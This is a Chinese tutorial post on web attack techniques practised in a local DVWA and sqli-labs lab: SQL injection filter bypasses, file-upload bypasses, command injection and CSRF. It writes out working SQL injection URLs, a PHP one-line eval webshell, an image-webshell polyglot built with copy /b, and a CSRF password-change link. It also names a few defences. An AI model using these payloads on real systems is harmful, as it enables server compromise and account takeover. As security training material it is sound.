当前位置:Gxlcms > mysql > 详解SQL注入--安全(二)

详解SQL注入--安全(二)

时间:2021-07-01 10:21:17 帮助过:14人阅读

如果此文章有什么错误,或者您有什么建议,欢迎随时联系我,谢谢!
写在前面:在前两天初学SQL注入的基础上,继续在Metasploitable-Linux环境下进行练习。
一、前面学习的SQL注入,那么当然就有防注入。由于web注入危害较大,各种防御技术也层出不穷。

1、程序猿在写代码时会有意识的进行防御设置,或者安全测试来封堵web注入
2、各大安全厂商生产的硬件或者软件WAF产品

黑名单过滤技术

1、过滤sql关键字段
常见的关键字:and、or、union all select、引号、空格等等过滤
还有一些类似的技术不是过滤而是通过转义函数或者剥离非法关键字

绕过方法:

  1. 1、大小写变形(id=-1 UniOn sEleCt 1,2,3……)
  2. 2、编码:hex码、urlencode
  3. 3、注释 ‘/or/'
  4. 4、过滤替换 (and–&&、or–||)
  5. 5、截断

二、文件上传漏洞

我们在上网时经常会使用文件上传的功能,比如上传一个头像图片,上传一个文件,上传一个视频等等,我都知道这是一个正常的功能,但是大家有没有想过文件上传后,服务器是怎么处理或者解析这些文件的呢,如果服务器在处理这些上传文件的时候做的不够安全,就会导致安全事件的发生,比如: 上传web脚本文件让服务器执行

  1. (1)上传木马病毒文件诱导用户或者管理员下载
  2. (2)上传钓鱼文件
  3. (3)上传欺诈文件

文件上传漏洞核心

要使得文件上传攻击能够成功,一般需要满足两个要素:

  1. (1)包含webshell文件能够成功被上传到服务器上
  2. (2) 该文件能够被服务器解析或者我们能访问到该上传文件

实现核心—上传绕过技术

一般而言文件上传遇到的检测技术: +

  1. (1)客户端 javascript 检测 (通常为检测文件扩展名)
  2. (2)服务端 MIME 类型检测 (检测 Content-Type 内容)
  3. (3)服务端目录路径检测 (检测跟 path 参数相关的内容)
  4. (4)服务端文件扩展名检测 (检测跟文件 extension 相关的内容)
  5. (5)服务端文件内容检测 (检测内容是否合法或含有恶意代码)

客户端检测绕过(javascript 检测)

这类检测通常在上传页面里含有专门检测文件上传的 javascript 代码最常见的就是检测扩展名是否合法,这类绕过很简单。
做法:制作webshell文件(比如shell.php)—>修改为合法扩展名(shell.png)—>burp拦截改为(shell.php) —>上传

服务端检测绕过(MIME 类型检测)

该检测是在服务器上进行,主要检查的是content-type类型值(白名单或者黑名单)。当然这个绕过也简单。
做法:制作webshell文件(比如shell.php,Content-Type: text/plain)—>burp拦截改为(sontent-Type: image/gif) —>上传

服务器检测绕过(目录路径检测)

该检测是在服务器上进行,一般就检测路径是否合法,但稍微特殊一点的都没有防御。 比如,shell.php.[\0].png [\0]、123.php0x00.png其中0x00是php、c语言的截断符,就是说服务器在读文件的时候读到shell.php碰到【\0】就截止了当做shell.php执行了。 类似还有post提交文件shell.php%00.png
注:绕过后台检测,就是给他想要的文件后缀名,然后截断真实的后缀

服务端检测绕过(文件扩展名检测)

顾名思义就是检查文件扩展名,一般通过白黑名单防御。

1、黑名单 比如扩展名不能包含 html、php、php3,php4,asp、exe、bat、jsp +文件名大小写绕过用像 AsP,pHp 之类的文件名绕过黑名单检测

  1. (1)名单列表绕过用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类
  2. (2)特殊文件名绕过 比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。
  3. (3)htaccess 文件攻击 配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测
  4. (4)解析调用/漏洞绕过这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞
  5. (5)白名单检测

2、白名单相对来说比黑名单安全一些,但也不见得就绝对安全了

(1)0x00 截断绕过

用像 test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击,目前我只遇到过 asp 的程序有这种漏洞 + 解析调用/漏洞绕过这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞

(2).htaccess 文件攻击

在 PHP manual 中提到了下面一段话 move_uploaded_file section, there is a warning which states ‘If the destination file already exists, it will be overwritten.' 如果 PHP 安全没配置好就可以通过 move_uploaded_file 函数把自己写的.htaccess 文件覆盖掉服务器上的这样就能任意定义解析名单了

服务端检测绕过(文件内容检测)

如果文件内容检测设置得比较严格,那么上传攻击将变得非常困难也可以说它是在代码层检测的最后一道关卡如果它被突破了,就算没有代码层的漏洞也给后面利用应用层的解析漏洞带来了机会。

(1)文件幻数头检查
主要是检测文件内容开始处的文件幻数,比如:要绕过 jpg Value = FF D8 FF E0 00 10 4A 46 49 46。 要绕过 gif 文件幻数检测 Value = 47 49 46 38 39 61 要绕过 png 文件幻数检测 Value = 89 50 4E 47

(2)文件相关信息检测

图像文件相关信息检测常用的就是 getimagesize()函数只需要把文件头部分伪造好就 ok 了,就是在幻数的基础上还加了一些文件信息有点像下面的结构

GIF89a

(...some binary data for image...)
 <?php phpinfo(); ?>
(... skipping the rest of binary data ...)

(3)文件加载检测

这个是最变态的检测了,一般是调用 API 或函数去进行文件加载测试常见的是图像渲染测试,再变态点的甚至是进行二次渲染,对渲染/加载测试的攻击方式是代码注入绕过对二次渲染的攻击方式是攻击文件加载器自身。

三、

1、(1)先将对应网址复制到下方,点击Load URL,然后点击Execute


(2)构造闭合,得到数据库名–dvwa,然后按照之前的套路发现系统报错,报错信息如下



系统自动加入了\符号,是构造的函数出现错误,这时我们应规避这种现象,使系统不为构造函数自动添加特殊符号,对上述这种情况,可以使用hex码将字符串dvwa转换为十六进制(变为0x……),这样将不会在构造函数中使用到单引号符号,此时系统将不再自动为构造函数添加特殊字符,破坏构造函数。

(3)同理,按照之前所使用的SQL语句,爆数据。

2、以Less-25为例

(1)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,2,database()--+	//根据回显构造闭合,爆出database()

(2)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,table_name,column_name from infoorrmation_schema.columns where table_name = table_name aAndnd table_schema = database()--+	//爆出表名table_name、列名column_name

(3)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 3,2,id from emails--+	//爆出数据

小结:首先不断构造闭合输入,观察回显,发现系统过滤了“and”字符串,以及“+”(+ 相当于空格键)

然后我们猜测使用大小写混合的and,或者交叉不连续出现and,或者使用其他字符代替and–如&&(主要目的是为了使用and),又或者使用hex码、urlencode转化的方法;同理,字符串“or”,或者在单词中出现的or(如information)也可以使用上述的方法。关键在于绕过系统的过滤,达到一定的目的

3、以Less-26为例

and字符与Less-25相同的道理,过滤掉的空格可以使用 %20 --空格、或者TAB键的编码、或者换行键的编码

4、以http://192.168.122.130/DVWA-1.9/vulnerabilities/exec/为例,界面如下,是一个可以ping的界面


该界面存在漏洞即可以使用连接符号在ping的同时完成其他动作,当在输入栏输入127.0.0.1 || pwd,出现情况如下


发现界面中出现了当前文件目录,然后我们可以利用此漏洞获取一些想得到的数据
在此提及“一句话木马”

echo '<?php @eval($_POST[123]);?>' > 123.php

[有时为了不让受害人发现,常把其他形式的语句与“一句话木马”连用

 <?php fputs(fopen("345.php","w")),<?php @eval($_POST[1234]);?>' >1234.php

四、结合File Inclusion与File Upload实现攻击

(1)在http://192.168.122.130/DVWA-1.9/security.php下选择DVWA security为Low
然后File Upload上传一个带有一句话木马的.php文件,然后通过已知的目录,将信息添加到中国菜刀,获取所有目录—此时可以实现对文件的篡改、删除、上传等操作(有时可以通过重命名文件名来达到绕过的目的:123.png0x00.php —此处0x00代表命名结束)

使用中国菜刀,进行下图所示的添加—针对 echo ‘<?php @eval($_POST[123]);?>' > 123.php

然后就可以通过中国菜刀获取目录如下:

(2)在http://192.168.122.130/DVWA-1.9/security.php下选择DVWA security为Medium
此时上传.php文件会回显错误,无法上传,所以我们将木马文件格式改为支持上传的格式,png格式的文件中有一句话木马—此处以png格式为例


手动设置浏览器代理



启动BurpLoader,进行抓包改名处理!


然后Action->Send to Repeater,然后在Repeater中点击Go,观察右边窗口,发现文件已经上传,打开中国菜刀,按照之前的步骤访问即可。

(3)在http://192.168.122.130/DVWA-1.9/security.php下选择DVWA security为High

首先看到图片已经上传,那么上传的图片一定是已经经过处理的(加入了一句话木马),就是打开图片编码工具winhex,在编码工具中加入一句话木马,重新生成一个新的编码后的图片。

当然也可以使用cmd命令:copy 1.png/b+123.php /a TCP.png。此处1.png为正常图片,123.php为一句话木马,将他们重新合成新的图片取名为TCP.png,然后上传,即可成功(上面使用的是cmd)。

图片上传完成后,不能像Medium等级那样进行抓包改名处理。应该是web服务器端还有相应的安全性处理。
此时需要我们手动触发(当然也可以等待被攻击系统管理员点击图片触发)。触发之后我们就可以使用同样的方式,打开中国菜刀,进行目录的获取。

五、对于一些变态等级的处理思路:

compare,观察上传前与上传后哪些地方没有变(通过二异性),然后对上传数据做出一定的修改,从而达到一定目的。
一些其他的攻击方法:

  1. 1、以http://192.168.122.130/DVWA-1.9/vulnerabilities/upload/为例,在图片中写入触发指令,当管理员敲某命令时执行该图片,执行图片中包含的代码,即预埋一个常用的触发指令!
  2. 2、找到要攻击的系统默认存储临时文件的具体位置,然后改变文件的内容(比如说在文件中加入包含一句话木马的可执行文件等),达到预期的效果
  3. 3、对于会为上传文件自动修改文件名的系统,会使我们无法执行我们上传的非可执行文件,此时我们可以这样:因为设备处理文件是有一定限度的,可以每秒钟高频传输同一文件,使其后台来不及修改其中一两个文件的文件名,使之出现文件名不会被修改的情况,然后我们如果可以访问到该文件,执行即可进行攻击!

六、CSRF:Cross site Request Forgery跨栈请求伪造(利用cookie值)

构造一个URL,诱导受害人点击链接,从而利用受害人的cookie来实现受害人在自己不知道的情况下修改密码

http://192.168.122.130/DVWA-1.9/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

举例:比如说黑客使用自己的账号密码登录某网站,然后点到修改密码界面,构造一个修改密码的URL,当黑客想进行攻击时就诱导某受害人(该受害人之前使用浏览器登录网站时,浏览器中存有cookie)点击之前构造好的URL,然后在受害人不知道的情况下修改密码,此密码黑客知道,此时若攻击成功,黑客就能使用之前构造URL时构造的密码以受害人的身份登录网站,进行一系列操作!

当下的一些防御手段:

1、可以使用验证码进行防御

2、需要原始密码才能修改密码的网站

3、防御手法:no-referrer-when-downgrade

从一个网站链接到另外一个网站会产生新的http请求,referrer是http请求中表示来源的字段。
no-referrer-when-downgrade表示从https协议降为http协议时不发送referrer给跳转网站的服务器

4、防伪机制token,不同于cookie,可以堵住绝大多数CSRF攻击(人手一个防伪码,别人猜不出来,如果自己要改密码,必须自己使用自己的token才能成功)—token需要无规律、最好是加密。

以上所述是小编给大家介绍的SQL注入安全详解整合,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持!

您可能感兴趣的文章:

  • 浅析MySQL的注入安全问题
  • Python操作sqlite3快速、安全插入数据(防注入)的实例
  • PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等)
  • PHP的SQL注入实现(测试代码安全不错)

人气教程排行